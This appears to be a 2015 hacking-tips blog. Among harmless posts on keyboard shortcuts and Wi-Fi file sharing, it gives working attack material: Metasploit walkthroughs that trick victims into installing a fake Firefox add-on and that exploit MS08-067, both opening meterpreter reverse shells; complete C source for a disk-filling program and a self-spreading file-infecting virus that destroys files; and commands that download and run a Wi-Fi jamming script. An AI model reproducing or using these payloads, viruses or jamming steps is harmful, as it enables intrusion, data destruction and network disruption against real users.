Friday 17 July 2015

Hacking Windows 7 & Xp with Fake Firefox add-on (XPI) : Metasploit Tutorials


Hello  In this tutorial i am going to explain how to hack any windows machine(xp,7) with the help of Metasploit.

Unlike last tutorial, we are not going to exploit any kind of vulnerabilities. We are going to use Social Engineering technique instead.

    Create a fake firefox extension with Metasploit that creates a backdoor from the victim system.
    Trick users into installing the add-on
    Break into the Target Machine.

Pre-configuration:

   As usual, you have to set up two virutal machines(VM ) in your virtualbox namely “Target” and “Attacker”.
    Install the windows xp or 7 in the Target VM.
    Install the Backtrack in the Attacker VM.

STEP 1: Update the Metasploit


As we are going to use the latest module, you are advised to update the Metasploit modules.  Don’t know how to do this? No need to worry!

    Open the Terminal
    type msfupdate
    This will update the Metasploit with latest modules :)

STEP2: Configuring settings in Metasploit for the fake-addon exploit

1) Open the Terminal and type “msfconsole” to get the Metasploit console.

2) Type “use exploit/multi/browser/firefox_xpi_bootstrapped_addon” in the console.



3) Now we have to know the list of settings available for this exploit module.  In order to get the list , you can type “show options” in the console.
Unlike the last tutorial, this module has an extra settings for the module namely “addonname”.

 4) Configurations

Let us configure the setting for the exploit.
type the highlighted commands one by one in the console

Command: set addonname fake



Details: Name for the fake add-on.  you can change the “fake” to any name.

Command:set SRVHOST 192.168.56.11

Details: Here the 192.168.56.11 is the ip of Backtrack .  You can get this ip by simply typing the “ifconfig” in the terminal. If you have trouble in getting the ip details, please drop your comment or read my previous post.






Command: set SRVPORT 80

Details: Our server is going to be accessed via the port 80(default port)

Command: set URIPATH fakeEx

Details: The path in which the fake add-on will be available to download. For ex: http://192.168.56.11/fakeEx

Command: set LHOST 192.168.56.11

Details: Here the 192.168.56.11 is the ip of Backtrack .  You can get this ip by simply typing the “ifconfig” in the terminal.

5) Payload

As usual, we can use Reverse Tcp payload for this attack also. So type the following command in the Metasploit console:






set payload windows/meterpreter/reverse_tcp

STEP 3: Social Engineering Attack

let us launch the exploit.
Type “exploit” in the console.
Now the exploit is started.  Our fake add-on is available at, “http://192.168.56.11/fakeEx”.




Once victim visit the link, it will ask user to install the add-on in order to view the page.  Once user install the add-on, the system will be backdoor-ed.




Now , You can control the victim system from meterpreter.


victims pc details



Please share it if you like it

Create a Space Eater Virus in C Language


This is a space eater virus which eats the free space in your c drive




#include<stdio.h>  
#include<conio.h> 
#include<process.h> 
void main()
{
FILE *ptr;
clrscr();
ptr=fopen("C:\\virus.dll","w");
if(ptr==NULL)
printf("\n\n Error in opening the File");
else
{
int i;
printf("\n\n\n\t\t SPACE EATER VIRUS!!\n\n\t Eating Space now......");
while(1)
{
sleep(1);
for(i=0;i<=10000000;i++) fputs("This good removes shit",ptr); } } }


When you execute this program It will start eating the space of your C drive. To stop this virus simply close the command window.

In order to recover the lost space of your drive. go to C:\WINDOWS and delete the file virus.dll (also from Recycle bin)

Please share if you like it


[Metasploit Tutorial] Hacking Windows XP using IP Address

In this article i am going to demonstrate how to hack a remote computer by exploiting the  parsing flaw in the path canonicalization code of NetAPI32.dll through the Server Service(CVE-2008-4250). Before we jump into the actual exploitation process, let me give more details about this Server Service Vulnerability.

Details about Server Service Vulnerability(MS08-067):
Microsoft Windows Server service provides support for sharing resources such as files and print services over the network.

The Server service is vulnerable to a remote code-execution vulnerability. The vulnerability is caused due to an error in netapi32.dll when processing directory traversal character sequences in path names. This can be exploited to corrupt stack memory by e.g. sending RPC requests containing specially crafted path names to the Server Service component. The ‘NetprPathCanonicalize()’ function in the ‘netapi32.dll’ file is affected.

A malicious request to vulnerable system results in complete compromise of vulnerable computers.
This vulnerability affects Windows XP, Windows 2000, Windows Server 2003, Windows Vista, and Windows Server 2008. But Attackers require authenticated access on Windows Vista and Server 2008 platforms to exploit this issue.

Exploiting the MS08-067 using Metasploit:

Requirements:
    VirtualBox
    Backtrack 5
    Target OS(XP)

Step 1:

Create Two Virtual Machine(VM) namely “Target” and “BT5″.  Install the XP inside Target VM and Backtrack inside BT5. Start the Two VMs.

Step 2: 

Find the IP address of Target
Open The command prompt in the Target machine(XP). Type “ipconfig” to find the IP address of the Target system.
Hackers use different method for finding the ip address of victim.  For Eg., By sending link that will get the ip  details or use Angry IP Scanner.

Step 3: 


Information Gathering
Now let us collect some information about the Target machine.  For this purpose , we are going to use the nmap tool.

Open The Terminal in the BT5 machine(Backtrack) and type “nmap -O 192.168.56.12“.  Here 192.168.46.22 is IP address of Target machine. If you look at the result, you can find the list of open ports and OS version.



 

Step 4:

Metasploit
Now open the Terminal in the BT5 machine(Backtrack) and Type “msfconsole“.

The msfconsole is the most popular interface to the Metasploit Framework. It provides an “all-in-one” centralized console and allows you efficient access to virtually all of the options available in the Metasploit Framework.

Let us use the Search command to find the exploit modules with the keyword netapi. Type “search netapi”.  Now you can see the list of modules match with the netapi.

We are going to exploit MS08-067 , so type “use exploit/windows/smb/ms08_067_netapi“.


 
Step 5:

Set Payload
As usual, let use the Reverse Tcp Payload for this exploit also. Type “set payload windows/meterpreter/reverse_tcp” in the msfconsole.

Step 6:

Options
Type “set LHOST 192.168.56.10“.  Here 192.168.56.10 is IP address of Backtrack machine.  You can find the ip address by typing ‘ifconfig’ command in the Terminal.

Type “set RHOST 192.168.56.12“.  Here 192.168.56.12 is IP address of Target machine.

 


Step 7:

Exploiting
Ok, it is time to exploit the vulnerability, type “exploit” in the console. If the exploit is successful, you can see the following result.




 Now we can control the remote computer using the meterpreter. For example, typing “screenshot” will grab the screenshot of the victim system.

Please share if you like it.

Thursday 9 July 2015

IMPORTANT KEYBOARD SHORTCUT'S

HELLO EVERYONE..

As we all use computers we must have knowledge about keyboard shortcuts so today i am posting some important keyboard shortcuts for faster and easy use..



Basic Shortcuts
 
Edit menu                          Alt + E    
File menu                          Alt + F    
View menu                       Alt + V    
Select all text                    Ctrl + A    
Copy text                         Ctrl + C    
Find text                           Ctrl + F    
Find and replace text        Ctrl + H    
New Document               Ctrl + N    
Open a file                      Ctrl + O    
Print options                   Ctrl + P    
Save file                         Ctrl + S
Paste text                       Ctrl + V    
Cut text                          Ctrl + X    
Redo text                       Ctrl + Y    
Undo text                       Ctrl + Z   
 


Text Editing

Go to the beginning of the current line                           Home    
Go to the end of the current line                                   End    
Go to the beginning of the document                            Ctrl + Home    
Go to the end of the document                                    Ctrl + End    
Move up one frame                                                    Page Up    
Move down one frame                                               Page Down    
Go to beginning of previous word                               Ctrl + Left Arrow
Go to beginning of next word                                     Ctrl + Right Arrow    
Go to beginning of line break                                      Ctrl + Up Arrow    
Go to end of line break                                              Ctrl + Down Arrow    
           


Text Selection
        
Select characters to the left                                   Shift + Left Arrow    
Select characters to the right                                 Shift + Right Arrow    
Select lines upwards                                             Shift + Up Arrow    
Select lines downwards                                        Shift + Down Arrow    
Select words to the left                                         Shift + Ctrl + Left    
Select words to the right                                      Shift + Ctrl + Right    
Select paragraphs to the left                                 Shift + Ctrl + Up    
Select paragraphs to the right                              Shift + Ctrl + Down    
Select text between the cursor and the beginning of the current line     Shift + Home    
Select text between the cursor and the end of the current line     Shift + End    
Select text between the cursor and the beginning of the document     Shift + Ctrl + Home    
Select text between the cursor and the end of the document     Shift + Ctrl + End    
Select one frame at a time of text above the cursor     Shift + Page Up    
Select one frame at a time of text below the cursor     Shift + Page Down

Text Formatting
       
Make selected text bold                         Ctrl + B    
Make selected text italic                         Ctrl + I    
Underline selected text                           Ctrl + U    
Make selected text superscript               Ctrl + Shift + =    
Make selected text subscript                  Ctrl + =    
           


Text Editing
        
Delete characters to the left                     Backspace    
Delete characters to the right                   Delete    
Delete words to the right                        Ctrl + Del    
Delete words to the left                          Ctrl + Backspace    
Indent                                                    Tab    
Outdent                                                 Shift + Tab    
Copy text                                              Ctrl + C    
Find and replace text                             Ctrl + H    
Paste text                                             Ctrl + V    
Cut text                                               Ctrl + X    
Redo text                                            Ctrl + Y    
Undo text                                           Ctrl + Z    

Web Browsers
        
Scroll down a frame                       Space or Page Down    
Scroll up a frame                            Shift + Space or Page Up    
Go to bottom of the page               End    
Go to top of the page                    Home    
Go back                                       Alt + Left Arrow or Backspace    
Go forward                                  Alt + Right Arrow or Shift + Backspace
Refresh a webpage                       F5    
Toggle full-screen                         F11    
Zoom in                                      Ctrl + +    
Zoom out                                    Ctrl + -    
Zoom 100% (default)                  Ctrl + 0    
Open homepage                         Alt + Home    
Find text                                     Ctrl + F    
           
Tab / Window Management        

Open a new tab                                  Ctrl + T    
Close current tab                                Ctrl + W    
Close all tabs                                     Ctrl + Shift + W    
Close all tabs except the current tab   Ctrl + Alt + F4    
Go to next tab                                   Ctrl + Tab    
Go to previous tab                            Ctrl + Shift + Tab    
Go to a specific tab number               Ctrl + 1-8    
Go to the last tab                              Ctrl + 9    
Reopen the last closed tab                Ctrl + Shift + T    
Open a new window                        Ctrl + N
Close current window                      Alt + F4    
Go to next window                          Alt + Tab    
Go to previous window                   Alt + Shift + Tab    
Reopen the last closed window        Ctrl + Shift + N      
Open links in a new tab in the background     Ctrl + Click    
Open links in a new tab in the foreground      Ctrl + Shift + Click    
Print current webpage                      Ctrl + P    
Save current webpage                     Ctrl + S    
           
Address Bar
        
Cycle between toolbar, search bar, and page elements            Tab    
Go to browser's address bar                                                  Ctrl + L or Alt + D    
Focus and select the browser's search bar                              Ctrl + E    
Open the address bar location in a new tab                            Alt + Enter    
Display a list of previously typed addresses                            F4    

Bookmarks
        

Open the bookmarks menu                    Ctrl + B    
Add bookmark for current page             Ctrl + D    
Open browsing history                           Ctrl + H    
Open download history                          Ctrl + J    

PLEASE SHARE IF YOU LIKE IT

Wednesday 8 July 2015

C VIRUS PROGRAM INFECTOR...

This program is a computer virus in C language. This program demonstrates a simple virus program which when executed creates a copy of itself in all the other files that are present in the same directory.
Thus, it destroys other files by infecting them. The infected file will also become a virus so that when executed, it is capable of spreading the infection to another file and so on.


Here’s the source code of the virus program:

#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>
 FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;

void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0); //Search for a file with any extension (*.*)
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}
This virus is designed to infect all types of files with any extension.

How the Virus Program Works?

The algorithm of this virus program is as follows:
Step-1: Search for files in the current directory. If one or more file is present, load the first file (target file).

Step-2: Load the copy of the virus itself onto the memory.

Step-3: Open the target file. Copy the virus code from the memory and place it in the target file. Close the target file when the copying process is completed.

Step-4: Load the next file to infect and move to the step-3. If all the files are infected, close all the open files, unload them from the memory and exit.
As far as the technical terms are concerned, I would not be able to explain the program line by line. Anyone with a working knowledge of C should be easily able to understand the functions and other terms used in the program.

How to Test the Virus After the Compilation:

  1. Create a new empty folder.
  2. Put some executable files (or any other files) in the folder.
  3. Run the PC_Virus.exe file. With in a few seconds all the other files in the folder gets infected.
  4. Now every infected file is a new virus which is ready to re-infect. You can copy any of the infected .exe file to another empty folder and repeat the same procedure to see if the infected file is capable of re-infecting. Delete the folder and all the infected files after the testing process is done.
NOTE: The files infected by this virus are destroyed completely and cannot be recovered. So, always test the virus in a new folder by placing some sample files.
PLEASE SHARE IF YOU LIKE IT

Tuesday 30 June 2015

HOW TO SHARE FILES THROUGH WIFI...

How to Share Files Wirelessly

Many households have more than one computer. For instance, professionals who work outside the home may have a laptop computer for work and a desktop computer at home. Being able to share files between computers is a tremendous advantage and time saver. By far, the easiest way to do this is by connecting the computers to a local area network. Here's how to share files wirelessly though a local area network (LAN).

STEP1:-Set up your wireless network.
  • Modern Internet Service Providers (ISP) will supply a wireless modem/router combination or gateway when you sign up for their service. If you only have a modem, or if your router is Ethernet only, you will need to purchase a wireless router.
  • Connect the first computer to your wireless router or gateway via Ethernet cable to establish the Internet connection. Once that has been set up, you can connect all of the computers to the router or gateway through a Wi-Fi connection to share files.

STEP2:-Connect each computer with files to be shared to the router or gateway via Wi-Fi.
  • On PCs running Windows Vista or Windows 7, use the Network and Sharing Center available in the computer's Control Panel.
  • On a Mac, enable the Airport utility in the System Preferences' Network window to connect to the wireless network.


STEP3:-Enable file sharing for your files.
  • On a PC, right-click the folders holding files that you want to share and choose "Share." Add the user IDs created on the computer to the list of those who will have access and click the Share button.
  • On a Mac computer, click the Apple logo, choose the System Preferences options and then choose "Sharing." Add folders by clicking the plus sign in the Shared Folders window. Select other users that will have access to the files you want to share.


STEP4:- Connect to the other computers on your LAN.
  • On a PC, use the Network selection on the Start menu. All computers connected to the LAN should appear listed in the window. Double-click the computer name, then enter the login ID and password for that computer.
  • On a Mac, open the Finder. All files that were designated to be shared are listed under the Shared section in the Finder's sidebar

PLEASE SHARE IF YOU LIKE IT


HOW TO JAM WIFI NETWORK IN UBUNTU & BACK TRACK?

If you have UBUNTU or BACK TRACK installed ,then you can start from step 7 directly you can skip first six step. If you have windows user start from here.

STEP1:-Download Backtrack 5 R2 here as .iso for 32 bit:http://www.backtrack-linux.org/ajax/down...OME-32.iso
and 64 bit:http://www.backtrack-linux.org/ajax/down...OME-64.iso

STEP2:- Download UNetbootin for Windows:http://unetbootin.sourceforge.net/unetbo...latest.exe

STEP3:- Insert your FAT32 formatted flash/hard drive and open UNetbootin.

STEP4:- At the bottom of UNetbootin you'll see it says Disc Image. Select ISO and find your file.
Type: USB-drive.
Letter: H:\ or whatever your computer says.
Then press on OK and let it finish.


STEP5:- When it's done, press on Reboot now and when you're booting, remember to boot on your flash/hard drive. I use F12 when I'm booting to change, but it depends on each computer.

STEP6:- Select Default, and wait for it to boot. When it's done booting, write "startx" in the console so it will start your desktop.

STEP7:- Connect to your favorite WiFi network. Go to the "start icon" in Backtrack, go to Network and find "Wicd Network Manager". Connect to your wireless.

STEP8:- Open Terminal and write:

Code:
wget http://wifijammer.googlecode.com/files/wifijammer_0.1.sh

After the transfer has completed you now type:
Code:
chmod +x wifijammer_0.1.sh

Now you write:
Code:
sudo ./wifijammer_0.1.sh wlan0

When that's done, you type in "scan" when it asks you to.

STEP9:- You will see a lot of text when it scans. It will look like this:


You can see it says "CH" in the window. That means channel. On the picture, the ESSID is the WiFi's name. As you can see, the network with ESSID "openn" is on channel 9.

Wait for the scan to complete, and then (in this example) type in "9" for channel 9.

It will now jam all connections on channel 9, so that the WiFi "openn" will be unavailable. On the picture there's also a network with ESSID "Playh" on channel 9.. That one will also be unavailable.

In some cases, it might jam so hard, that laptops/WiFi searchers won't be able to scan for any WiFi signals at all.

PLEASE SHARE IF YOU LIKE IT